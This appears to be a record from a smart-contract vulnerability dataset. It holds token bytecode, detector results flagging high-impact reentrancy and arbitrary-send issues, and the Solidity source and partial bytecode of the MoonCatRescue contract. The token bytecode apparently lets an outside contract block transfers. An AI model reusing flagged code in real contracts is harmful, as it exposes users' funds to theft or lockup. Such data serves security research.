b34801561022a57600080fd5b506101d6610820565b34801561023f57600080fd5b5061019361024e366004611630565b6108a1565b34801561025f57600080fd5b506101d66108c3565b34801561027457600080fd5b506000546040516001600160a01b039091168152602001610145565b34801561029c57600080fd5b50604080518082019091526005815264474141524160d81b6020820152610138565b3480156102ca57600080fd5b506101d66102d936600461164d565b610967565b3480156102ea57600080fd5b5061016e6102f93660046115c3565b610990565b34801561030a57600080fd5b50610193610319366004611666565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035057600080fd5b506101d661099d565b6000610366338484610a07565b5060015b92915050565b600061037e6006600a611799565b61038c906347868c006117a8565b905090565b600061039e848484610b2b565b6103f084336103eb85604051806060016040528060288152602001611926602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e76565b610a07565b5060019392505050565b6009546001600160a01b0316331461041157600080fd5b600c54600160a01b900460ff16156104705760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461049c9030906001600160a01b031661048e6006600a611799565b6103eb906347868c006117a8565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104ea57600080fd5b505afa1580156104fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052291906117c7565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561057f57600080fd5b505afa158015610593573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b791906117c7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105ff57600080fd5b505af1158015610613573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063791906117c7565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d7194730610667816108a1565b60008061067c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156106df57600080fd5b505af11580156106f3573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061071891906117e4565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561078257600080fd5b505af1158015610796573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ba9190611812565b50565b6009546001600160a01b031633146107d457600080fd5b6107e06006600a611799565b6107ee906347868c006117a8565b600a55565b6009546001600160a01b0316331461080a57600080fd5b6000610815306108a1565b90506107ba81610eb0565b6009546001600160a01b0316331461083757600080fd5b600c54600160a01b900460ff166108905760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610467565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036a90611039565b6000546001600160a01b0316331461091d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610467565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461097e57600080fd5b6009811061098b57600080fd5b600855565b6000610366338484610b2b565b6009546001600160a01b031633146109b457600080fd5b476107ba816110b6565b6000610a0083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f4565b9392505050565b6001600160a01b038316610a695760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610467565b6001600160a01b038216610aca5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610467565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610467565b6001600160a01b038216610bf15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610467565b60008111610c535760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610467565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf669060240160206040518083038186803b158015610c9d57600080fd5b505afa158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd59190611834565b600c546001600160a01b038481169116148015610d005750600b546001600160a01b03858116911614155b610d0b576000610d0d565b815b1115610d1857600080fd5b6000546001600160a01b03848116911614801590610d4457506000546001600160a01b03838116911614155b15610e6657600c546001600160a01b038481169116148015610d745750600b546001600160a01b03838116911614155b8015610d9957506001600160a01b03821660009081526004602052604090205460ff16155b15610def57600a548110610def5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610467565b6000610dfa306108a1565b600c54909150600160a81b900460ff16158015610e255750600c546001600160a01b03858116911614155b8015610e3a5750600c54600160b01b900460ff165b15610e6457610e4881610eb0565b47670de0b6b3a7640000811115610e6257610e62476110b6565b505b505b610e71838383611122565b505050565b60008184841115610e9a5760405162461bcd60e51b81526004016104679190611559565b506000610ea7848661184d565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ef857610ef8611864565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f4c57600080fd5b505afa158015610f60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8491906117c7565b81600181518110610f9757610f97611864565b6001600160a01b039283166020918202929092010152600b54610fbd9130911684610a07565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ff690859060009086903090429060040161187a565b600060405180830381600087803b15801561101057600080fd5b505af1158015611024573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110a05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610467565b60006110aa61112d565b9050610a0083826109be565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110f0573d6000803e3d6000fd5b5050565b600081836111155760405162461bcd60e51b81526004016104679190611559565b506000610ea784866118eb565b610e71838383611150565b600080600061113a611247565b909250905061114982826109be565b9250505090565b600080600080600080611162876112c9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111949087611326565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111c39086611368565b6001600160a01b0389166000908152600260205260409020556111e5816113c7565b6111ef8483611411565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161123491815260200190565b60405180910390a3505050505050505050565b60055460009081908161125c6006600a611799565b61126a906347868c006117a8565b905061129261127b6006600a611799565b611289906347868c006117a8565b600554906109be565b8210156112c0576005546112a86006600a611799565b6112b6906347868c006117a8565b9350935050509091565b90939092509050565b60008060008060008060008060006112e68a600754600854611435565b92509250925060006112f661112d565b905060008060006113098e87878761148a565b919e509c509a509598509396509194505050505091939550919395565b6000610a0083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e76565b600080611375838561190d565b905083811015610a005760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610467565b60006113d161112d565b905060006113df83836114da565b306000908152600260205260409020549091506113fc9082611368565b30600090815260026020526040902055505050565b60055461141e9083611326565b60055560065461142e9082611368565b6006555050565b600080808061144f606461144989896114da565b906109be565b9050600061146260646114498a896114da565b9050600061147a826114748b86611326565b90611326565b9992985090965090945050505050565b600080808061149988866114da565b905060006114a788876114da565b905060006114b588886114da565b905060006114c7826114748686611326565b939b939a50919850919650505050505050565b6000826114e95750600061036a565b60006114f583856117a8565b90508261150285836118eb565b14610a005760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610467565b600060208083528351808285015260005b818110156115865785810183015185820160400152820161156a565b81811115611598576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107ba57600080fd5b600080604083850312156115d657600080fd5b82356115e1816115ae565b946020939093013593505050565b60008060006060848603121561160457600080fd5b833561160f816115ae565b9250602084013561161f816115ae565b929592945050506040919091013590565b60006020828403121561164257600080fd5b8135610a00816115ae565b60006020828403121561165f57600080fd5b5035919050565b6000806040838503121561167957600080fd5b8235611684816115ae565b91506020830135611694816115ae565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116f05781600019048211156116d6576116d661169f565b808516156116e357918102915b93841c93908002906116ba565b509250929050565b6000826117075750600161036a565b816117145750600061036a565b816001811461172a576002811461173457611750565b600191505061036a565b60ff8411156117455761174561169f565b50506001821b61036a565b5060208310610133831016604e8410600b8410161715611773575081810a61036a565b61177d83836116b5565b80600019048211156117915761179161169f565b029392505050565b6000610a0060ff8416836116f8565b60008160001904831182151516156117c2576117c261169f565b500290565b6000602082840312156117d957600080fd5b8151610a00816115ae565b6000806000606084860312156117f957600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561182457600080fd5b81518015158114610a0057600080fd5b60006020828403121561184657600080fd5b5051919050565b60008282101561185f5761185f61169f565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ca5784516001600160a01b0316835293830193918301916001016118a5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261190857634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156119205761192061169f565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ac8a65b6e7c8523c02aa1165461f9bd0659497b5e41a900dcf1b11569fac3be064736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,755
0x60cd862c9c687a9de49aecdc3a99b74a4fc54ab6
pragma solidity ^0.4.13; contract MoonCatRescue { enum Modes { Inactive, Disabled, Test, Live } Modes public mode = Modes.Inactive; address owner; bytes16 public imageGenerationCodeMD5 = 0xdbad5c08ec98bec48490e3c196eec683; // use this to verify mooncatparser.js the cat image data generation javascript file. string public name = "MoonCats"; string public symbol = "?"; // unicode cat symbol uint8 public decimals = 0; uint256 public totalSupply = 25600; uint16 public remainingCats = 25600 - 256; // there will only ever be 25,000 cats uint16 public remainingGenesisCats = 256; // there can only be a maximum of 256 genesis cats uint16 public rescueIndex = 0; bytes5[25600] public rescueOrder; bytes32 public searchSeed = 0x0; // gets set with the immediately preceding blockhash when the contract is activated to prevent "premining" struct AdoptionOffer { bool exists; bytes5 catId; address seller; uint price; address onlyOfferTo; } struct AdoptionRequest{ bool exists; bytes5 catId; address requester; uint price; } mapping (bytes5 => AdoptionOffer) public adoptionOffers; mapping (bytes5 => AdoptionRequest) public adoptionRequests; mapping (bytes5 => bytes32) public catNames; mapping (bytes5 => address) public catOwners; mapping (address => uint256) public balanceOf; //number of cats owned by a given address mapping (address => uint) public pendingWithdrawals; /* events */ event CatRescued(address indexed to, bytes5 indexed catId); event CatNamed(bytes5 indexed catId, bytes32 catName); event Transfer(address indexed from, address indexed to, uint256 value); event CatAdopted(bytes5 indexed catId, uint price, address indexed from, address indexed to); event AdoptionOffered(bytes5 indexed catId, uint price, address indexed toAddress); event AdoptionOfferCancelled(bytes5 indexed catId); event AdoptionRequested(bytes5 indexed catId, uint price, address indexed from); event AdoptionRequestCancelled(bytes5 indexed catId); event GenesisCatsAdded(bytes5[16] catIds); function MoonCatRescue() payable { owner = msg.sender; assert((remainingCats + remainingGenesisCats) == totalSupply); assert(rescueOrder.length == totalSupply); assert(rescueIndex == 0); } /* registers and validates cats that are found */ function rescueCat(bytes32 seed) activeMode returns (bytes5) { require(remainingCats > 0); // cannot register any cats once supply limit is reached bytes32 catIdHash = keccak256(seed, searchSeed); // generate the prospective catIdHash require(catIdHash[0] | catIdHash[1] | catIdHash[2] == 0x0); // ensures the validity of the catIdHash bytes5 catId = bytes5((catIdHash & 0xffffffff) << 216); // one byte to indicate genesis, and the last 4 bytes of the catIdHash require(catOwners[catId] == 0x0); // if the cat is already registered, throw an error. All cats are unique. rescueOrder[rescueIndex] = catId; rescueIndex++; catOwners[catId] = msg.sender; balanceOf[msg.sender]++; remainingCats--; CatRescued(msg.sender, catId); return catId; } /* assigns a name to a cat, once a name is assigned it cannot be changed */ function nameCat(bytes5 catId, bytes32 catName) onlyCatOwner(catId) { require(catNames[catId] == 0x0); // ensure the current name is empty; cats can only be named once require(!adoptionOffers[catId].exists); // cats cannot be named while they are up for adoption catNames[catId] = catName; CatNamed(catId, catName); } /* puts a cat up for anyone to adopt */ function makeAdoptionOffer(bytes5 catId, uint price) onlyCatOwner(catId) { require(price > 0); adoptionOffers[catId] = AdoptionOffer(true, catId, msg.sender, price, 0x0); AdoptionOffered(catId, price, 0x0); } /* puts a cat up for a specific address to adopt */ function makeAdoptionOfferToAddress(bytes5 catId, uint price, address to) onlyCatOwner(catId) isNotSender(to){ adoptionOffers[catId] = AdoptionOffer(true, catId, msg.sender, price, to); AdoptionOffered(catId, price, to); } /* cancel an adoption offer */ function cancelAdoptionOffer(bytes5 catId) onlyCatOwner(catId) { adoptionOffers[catId] = AdoptionOffer(false, catId, 0x0, 0, 0x0); AdoptionOfferCancelled(catId); } /* accepts an adoption offer */ function acceptAdoptionOffer(bytes5 catId) payable { AdoptionOffer storage offer = adoptionOffers[catId]; require(offer.exists); require(offer.onlyOfferTo == 0x0 || offer.onlyOfferTo == msg.sender); require(msg.value >= offer.price); if(msg.value > offer.price) { pendingWithdrawals[msg.sender] += (msg.value - offer.price); // if the submitted amount exceeds the price allow the buyer to withdraw the difference } transferCat(catId, catOwners[catId], msg.sender, offer.price); } /* transfer a cat directly without payment */ function giveCat(bytes5 catId, address to) onlyCatOwner(catId) { transferCat(catId, msg.sender, to, 0); } /* requests adoption of a cat with an ETH offer */ function makeAdoptionRequest(bytes5 catId) payable isNotSender(catOwners[catId]) { require(catOwners[catId] != 0x0); // the cat must be owned AdoptionRequest storage existingRequest = adoptionRequests[catId]; require(msg.value > 0); require(msg.value > existingRequest.price); if(existingRequest.price > 0) { pendingWithdrawals[existingRequest.requester] += existingRequest.price; } adoptionRequests[catId] = AdoptionRequest(true, catId, msg.sender, msg.value); AdoptionRequested(catId, msg.value, msg.sender); } /* allows the owner of the cat to accept an adoption request */ function acceptAdoptionRequest(bytes5 catId) onlyCatOwner(catId) { AdoptionRequest storage existingRequest = adoptionRequests[catId]; require(existingRequest.exists); address existingRequester = existingRequest.requester; uint existingPrice = existingRequest.price; adoptionRequests[catId] = AdoptionRequest(false, catId, 0x0, 0); // the adoption request must be cancelled before calling transferCat to prevent refunding the requester. transferCat(catId, msg.sender, existingRequester, existingPrice); } /* allows the requester to cancel their adoption request */ function cancelAdoptionRequest(bytes5 catId) { AdoptionRequest storage existingRequest = adoptionRequests[catId]; require(existingRequest.exists); require(existingRequest.requester == msg.sender); uint price = existingRequest.price; adoptionRequests[catId] = AdoptionRequest(false, catId, 0x0, 0); msg.sender.transfer(price); AdoptionRequestCancelled(catId); } function withdraw() { uint amount = pendingWithdrawals[msg.sender]; pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); } /* owner only functions */ /* disable contract before activation. A safeguard if a bug is found before the contract is activated */ function disableBeforeActivation() onlyOwner inactiveMode { mode = Modes.Disabled; // once the contract is disabled it&#39;s mode cannot be changed } /* activates the contract in *Live* mode which sets the searchSeed and enables rescuing */ function activate() onlyOwner inactiveMode { searchSeed = block.blockhash(block.number - 1); // once the searchSeed is set it cannot be changed; mode = Modes.Live; // once the contract is activated it&#39;s mode cannot be changed } /* activates the contract in *Test* mode which sets the searchSeed and enables rescuing */ function activateInTestMode() onlyOwner inactiveMode { // searchSeed = 0x5713bdf5d1c3398a8f12f881f0f03b5025b6f9c17a97441a694d5752beb92a3d; // once the searchSeed is set it cannot be changed; mode = Modes.Test; // once the contract is activated it&#39;s mode cannot be changed } /* add genesis cats in groups of 16 */ function addGenesisCatGroup() onlyOwner activeMode { require(remainingGenesisCats > 0); bytes5[16] memory newCatIds; uint256 price = (17 - (remainingGenesisCats / 16)) * 300000000000000000; for(uint8 i = 0; i < 16; i++) { uint16 genesisCatIndex = 256 - remainingGenesisCats; bytes5 genesisCatId = (bytes5(genesisCatIndex) << 24) | 0xff00000ca7; newCatIds[i] = genesisCatId; rescueOrder[rescueIndex] = genesisCatId; rescueIndex++; balanceOf[0x0]++; remainingGenesisCats--; adoptionOffers[genesisCatId] = AdoptionOffer(true, genesisCatId, owner, price, 0x0); } GenesisCatsAdded(newCatIds); } /* aggregate getters */ function getCatIds() constant returns (bytes5[]) { bytes5[] memory catIds = new bytes5[](rescueIndex); for (uint i = 0; i < rescueIndex; i++) { catIds[i] = rescueOrder[i]; } return catIds; } function getCatNames() constant returns (bytes32[]) { bytes32[] memory names = new bytes32[](rescueIndex); for (uint i = 0; i < rescueIndex; i++) { names[i] = catNames[rescueOrder[i]]; } return names; } function getCatOwners() constant returns (address[]) { address[] memory owners = new address[](rescueIndex); for (uint i = 0; i < rescueIndex; i++) { owners[i] = catOwners[rescueOrder[i]]; } return owners; } function getCatOfferPrices() constant returns (uint[]) { uint[] memory catOffers = new uint[](rescueIndex); for (uint i = 0; i < rescueIndex; i++) { bytes5 catId = rescueOrder[i]; if(adoptionOffers[catId].exists && adoptionOffers[catId].onlyOfferTo == 0x0) { catOffers[i] = adoptionOffers[catId].price; } } return catOffers; } function getCatRequestPrices() constant returns (uint[]) { uint[] memory catRequests = new uint[](rescueIndex); for (uint i = 0; i < rescueIndex; i++) { bytes5 catId = rescueOrder[i]; catRequests[i] = adoptionRequests[catId].price; } return catRequests; } function getCatDetails(bytes5 catId) constant returns (bytes5 id, address owner, bytes32 name, address onlyOfferTo, uint offerPrice, address requester, uint requestPrice) { return (catId, catOwners[catId], catNames[catId], adoptionOffers[catId].onlyOfferTo, adoptionOffers[catId].price, adoptionRequests[catId].requester, adoptionRequests[catId].price); } /* modifiers */ modifier onlyOwner() { require(msg.sender == owner); _; } modifier inactiveMode() { require(mode == Modes.Inactive); _; } modifier activeMode() { require(mode == Modes.Live || mode == Modes.Test); _; } modifier onlyCatOwner(bytes5 catId) { require(catOwners[catId] == msg.sender); _; } modifier isNotSender(address a) { require(msg.sender != a); _; } /* transfer helper */ function transferCat(bytes5 catId, address from, address to, uint price) private { catOwners[catId] = to; balanceOf[from]--; balanceOf[to]++; adoptionOffers[catId] = AdoptionOffer(false, catId, 0x0, 0, 0x0); // cancel any existing adoption offer when cat is transferred AdoptionRequest storage request = adoptionRequests[catId]; //if the recipient has a pending adoption request, cancel it if(request.requester == to) { pendingWithdrawals[to] += request.price; adoptionRequests[catId] = AdoptionRequest(false, catId, 0x0, 0); } pendingWithdrawals[from] += price; Transfer(from, to, 1); CatAdopted(catId, price, from, to); } }
0x606060405236156101d55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305ca355781146101da57806306fdde03146101ff5780630f15f4c01461028a5780630ff3687b1461029f57806318160ddd146102c9578063196ee9c7146102ee5780631be7051014610318578063295a52121461032f5780632f59840414610366578063313ce567146103dd57806336ae31ec146104065780633894ca571461046d5780633ccfd60b146104a9578063434b1208146104be5780634946e206146104f15780635281947d146105245780635d89c01a1461054657806370a08231146105ad578063711d649b146105de57806374fe6dea1461064557806376b39cf91461066a5780638edc707b1461067f5780638ff95fa8146106e857806395d89b411461071a57806398f32d1d146107a55780639d8df6dd1461080c578063a318d5211461082e578063a40c8ad014610843578063a420261514610858578063ae4f147614610889578063b269eaff146108ae578063bec6bc67146108e7578063d4a03f6014610947578063d728b6db14610969578063e65bbceb146109d0578063ee04b4b9146109e7578063f3f4370314610a11578063f884e54a14610a42575b600080fd5b34156101e557600080fd5b6101fd600160d860020a031960043516602435610a70565b005b341561020a57600080fd5b610212610bd7565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561024f5780820151818401525b602001610236565b50505050905090810190601f16801561027c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561029557600080fd5b6101fd610c75565b005b34156102aa57600080fd5b6102b2610cd7565b60405161ffff909116815260200160405180910390f35b34156102d457600080fd5b6102dc610ce7565b60405190815260200160405180910390f35b34156102f957600080fd5b6102b2610ced565b60405161ffff909116815260200160405180910390f35b6101fd600160d860020a031960043516610cf7565b005b341561033a57600080fd5b610342610ddc565b6040518082600381111561035257fe5b60ff16815260200191505060405180910390f35b341561037157600080fd5b610386600160d860020a031960043516610de5565b604051600160d860020a03199097168752600160a060020a0395861660208801526040808801959095529285166060870152608086019190915290921660a084015260c083019190915260e0909101905180910390f35b34156103e857600080fd5b6103f0610e5a565b60405160ff909116815260200160405180910390f35b341561041157600080fd5b610419610e63565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104595780820151818401525b602001610440565b505050509050019250505060405180910390f35b341561047857600080fd5b61048d600160d860020a031960043516610f4c565b604051600160a060020a03909116815260200160405180910390f35b34156104b457600080fd5b6101fd610f68565b005b34156104c957600080fd5b6104d4600435610fb5565b604051600160d860020a0319909116815260200160405180910390f35b34156104fc57600080fd5b6104d4600435610fe4565b604051600160d860020a0319909116815260200160405180910390f35b341561052f57600080fd5b6101fd600160d860020a031960043516611209565b005b341561055157600080fd5b610419611350565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104595780820151818401525b602001610440565b505050509050019250505060405180910390f35b34156105b857600080fd5b6102dc600160a060020a036004351661140f565b60405190815260200160405180910390f35b34156105e957600080fd5b610419611422565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104595780820151818401525b602001610440565b505050509050019250505060405180910390f35b341561065057600080fd5b6101fd600160d860020a0319600435166024356114fb565b005b341561067557600080fd5b6101fd6115d6565b005b341561068a57600080fd5b61069f600160d860020a031960043516611657565b6040519415158552600160d860020a03199093166020850152600160a060020a0391821660408086019190915260608501919091529116608083015260a0909101905180910390f35b34156106f357600080fd5b6102dc600160d860020a03196004351661169e565b60405190815260200160405180910390f35b341561072557600080fd5b6102126116b1565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561024f5780820151818401525b602001610236565b50505050905090810190601f16801561027c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107b057600080fd5b61041961174f565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104595780820151818401525b602001610440565b505050509050019250505060405180910390f35b341561081757600080fd5b6101fd600160d860020a031960043516611834565b005b341561083957600080fd5b6101fd6119a0565b005b341561084e57600080fd5b6101fd6119fb565b005b341561086357600080fd5b6101fd600160d860020a031960043516602435600160a060020a0360443516611d58565b005b341561089457600080fd5b6102dc611ed6565b60405190815260200160405180910390f35b34156108b957600080fd5b6108c1611edd565b6040516fffffffffffffffffffffffffffffffff19909116815260200160405180910390f35b34156108f257600080fd5b610907600160d860020a031960043516611ef6565b6040519315158452600160d860020a03199092166020840152600160a060020a031660408084019190915260608301919091526080909101905180910390f35b341561095257600080fd5b6101fd600160d860020a031960043516611f36565b005b341561097457600080fd5b610419612077565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104595780820151818401525b602001610440565b505050509050019250505060405180910390f35b6101fd600160d860020a0319600435166121a5565b005b34156109f257600080fd5b6102b261237c565b60405161ffff909116815260200160405180910390f35b3415610a1c57600080fd5b6102dc600160a060020a036004351661238e565b60405190815260200160405180910390f35b3415610a4d57600080fd5b6101fd600160d860020a031960043516600160a060020a03602435166123a1565b005b600160d860020a0319821660009081526110b66020526040902054829033600160a060020a03908116911614610aa557600080fd5b60008211610ab257600080fd5b60a0604051908101604090815260018252600160d860020a031985166020808401829052600160a060020a03331683850152606084018690526000608085018190529182526110b39052208151815460ff19169015151781556020820151815460d860020a9091046101000265ffffffffff001990911617815560408201518154600160a060020a03919091166601000000000000026000805160206127438339815191529091161781556060820151816001015560808201516002919091018054600160a060020a031916600160a060020a03909216919091179055506000600160d860020a031984167f175ebfc78c5d74e638bd7454214416a2a42d10527412f91ac6f2e693ce4344b88460405190815260200160405180910390a35b5b505050565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c6d5780601f10610c4257610100808354040283529160200191610c6d565b820191906000526020600020905b815481529060010190602001808311610c5057829003601f168201915b505050505081565b60005433600160a060020a039081166101009092041614610c9557600080fd5b60005b60005460ff166003811115610ca957fe5b14610cb357600080fd5b6000194301406110b255600080546003919060ff19166001835b02179055505b5b5b565b60065462010000900461ffff1681565b60055481565b60065461ffff1681565b600160d860020a0319811660009081526110b360205260409020805460ff161515610d2157600080fd5b6002810154600160a060020a03161580610d4b5750600281015433600160a060020a039081169116145b1515610d5657600080fd5b6001810154341015610d6757600080fd5b8060010154341115610d9e57600181015433600160a060020a031660009081526110b8602052604090208054349290920390910190555b600160d860020a0319821660009081526110b660205260409020546001820154610dd7918491600160a060020a039091169033906123ea565b5b5050565b60005460ff1681565b600160d860020a0319811660009081526110b660209081526040808320546110b58352818420546110b3845282852060028101546001918201546110b49096529390952080549501548695600160a060020a03938416959294841693660100000000000090910416905b919395979092949650565b60045460ff1681565b610e6b6126d1565b610e736126d1565b600654600090640100000000900461ffff16604051805910610e925750595b908082528060200260200182016040525b509150600090505b600654640100000000900461ffff16811015610f43576110b660006007836164008110610ed457fe5b600691828204019190066005025b90546101009190910a900460d860020a02600160d860020a0319168152602081019190915260400160002054600160a060020a0316828281518110610f2357fe5b600160a060020a039092166020928302909101909101525b600101610eab565b8192505b505090565b6110b660205260009081526040902054600160a060020a031681565b600160a060020a03331660008181526110b86020526040808220805492905590919082156108fc0290839051600060405180830381858888f193505050501515610fb157600080fd5b5b50565b6007816164008110610fc357fe5b600691828204019190066005025b915054906101000a900460d860020a0281565b6000808060035b60005460ff166003811115610ffc57fe5b1480611019575060025b60005460ff16600381111561101757fe5b145b151561102457600080fd5b600654600061ffff9091161161103957600080fd5b836110b25460405191825260208201526040908101905190819003902091508160025b1a60f860020a028260015b1a60f860020a028360005b1a60f860020a0217177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916600060f860020a021415156110b157600080fd5b5063ffffffff811660d860020a02600160d860020a0319811660009081526110b66020526040902054600160a060020a0316156110ed57600080fd5b6006548190600790640100000000900461ffff16616400811061110c57fe5b600691828204019190066005025b815464ffffffffff6101009290920a918202191660d860020a909304029190911790556006805465ffff000000001981166401000000009182900461ffff90811660019081018216909302919091178355600160d860020a0319841660008181526110b6602090815260408083208054600160a060020a03191633600160a060020a03169081179091558084526110b7909252918290208054909501909455845461ffff19811690841660001901909316929092179093557f80d2c1a6c75f471130a64fd71b80dc7208f721037766fb7decf53e10f82211cd905160405180910390a38092505b5b5050919050565b600160d860020a0319811660009081526110b66020526040902054819033600160a060020a0390811691161461123e57600080fd5b60a060405190810160409081526000808352600160d860020a03198516602080850182905283850183905260608501839052608085018390529082526110b39052208151815460ff19169015151781556020820151815460d860020a9091046101000265ffffffffff001990911617815560408201518154600160a060020a03919091166601000000000000026000805160206127438339815191529091161781556060820151816001015560808201516002919091018054600160a060020a031916600160a060020a0390921691909117905550600160d860020a031982167f8c299d0cc9eb68636bc5e183d2cfd85044e4af70cbf300f6c2c3f9cf4e72f35960405160405180910390a25b5b5050565b6113586126d1565b6113606126d1565b600654600090640100000000900461ffff1660405180591061137f5750595b908082528060200260200182016040525b509150600090505b600654640100000000900461ffff16811015610f435760078161640081106113bc57fe5b600691828204019190066005025b9054906101000a900460d860020a028282815181106113e557fe5b600160d860020a03199092166020928302909101909101525b600101611398565b8192505b505090565b6110b76020526000908152604090205481565b61142a6126d1565b6114326126d1565b600654600090640100000000900461ffff166040518059106114515750595b908082528060200260200182016040525b509150600090505b600654640100000000900461ffff16811015610f43576110b56000600783616400811061149357fe5b600691828204019190066005025b9054906101000a900460d860020a02600160d860020a031916600160d860020a0319168152602001908152602001600020548282815181106114df57fe5b602090810290910101525b60010161146a565b8192505b505090565b600160d860020a0319821660009081526110b66020526040902054829033600160a060020a0390811691161461153057600080fd5b600160d860020a0319831660009081526110b560205260409020541561155557600080fd5b600160d860020a0319831660009081526110b3602052604090205460ff161561157d57600080fd5b600160d860020a0319831660008181526110b56020526040908190208490557faf93a6d1ccdac374cb23b8a45184a5fbcb33c51e4471f69c088ebc18627fbd0f9084905190815260200160405180910390a25b5b505050565b60005433600160a060020a0390811661010090920416146115f657600080fd5b60005b60005460ff16600381111561160a57fe5b1461161457600080fd5b7f5713bdf5d1c3398a8f12f881f0f03b5025b6f9c17a97441a694d5752beb92a3d6110b255600080546002919060ff1916600183610ccd565b02179055505b5b5b565b6110b36020526000908152604090208054600182015460029092015460ff82169260d860020a61010084040292600160a060020a0366010000000000009091048116921685565b6110b56020526000908152604090205481565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c6d5780601f10610c4257610100808354040283529160200191610c6d565b820191906000526020600020905b815481529